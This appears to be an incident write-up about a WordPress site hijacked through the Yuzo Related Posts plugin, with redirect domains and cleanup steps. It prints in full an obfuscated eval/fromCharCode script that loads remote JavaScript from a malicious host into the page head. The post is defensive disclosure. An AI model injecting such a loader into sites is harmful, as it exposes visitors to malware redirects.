About an hour ago, a WordPress page we manage started redirecting to Advertising / Malware pages.
I have found the source of the redirect, would like to assist others affected and need help finding the actual vulnerability and / or a fix.
The redirect happens after the site finished loading, so I was looking for a JavaScript code snippet on the page and dubious redirects in the Network Analyzer. The obvious malicious redirects were: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk.
I was able to track down redirects arriving from https://hellofromhony.org/counter which is embedded via a code snippet.
The snippet was embedded in wp_options in an entry with the key 'yuzo_related_post_options' - more specifically embedded in the json option 'yuzo_related_post_css_and_style' of the option_value.
This option is part of the related posts plugin Yuzo, which was discontinued about a week ago: https://wordpress.org/plugins/yuzo-related-post/
YUZO Related Posts vulnerabilities and fixes
Removing this plugin immediately stopped the redirect, I have not been able to find any other traces of tampering with the site.
Specifically, it is good to follow the following steps to secure your site:
- Remove / Uninstall the plugin immediately.
- Within your database go to wp_optionstable and look for the value yuzo_related_post_optionsdelete that record.
- Do not delete the visits table wp_yuzoviews, this does not affect the problem.
The snippet that was in the option_value:
</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>A quickfix appears while removing the plug-in, I want to dig deeper to make sure there is no access to the database, backend and web space.
If you too are victims of this attack and are unable to solve this problem on your own, please ask for our help through the service of WordPress Malware and Virus Removal.
Yuzo Related Posts Update Soon
As communicated by the author of the Plugin, an upgrade of the plugin will be released shortly although the plugin has ceased exactly a few days ago in March 2019. All that remains is to perform the above steps and wait for the new release.
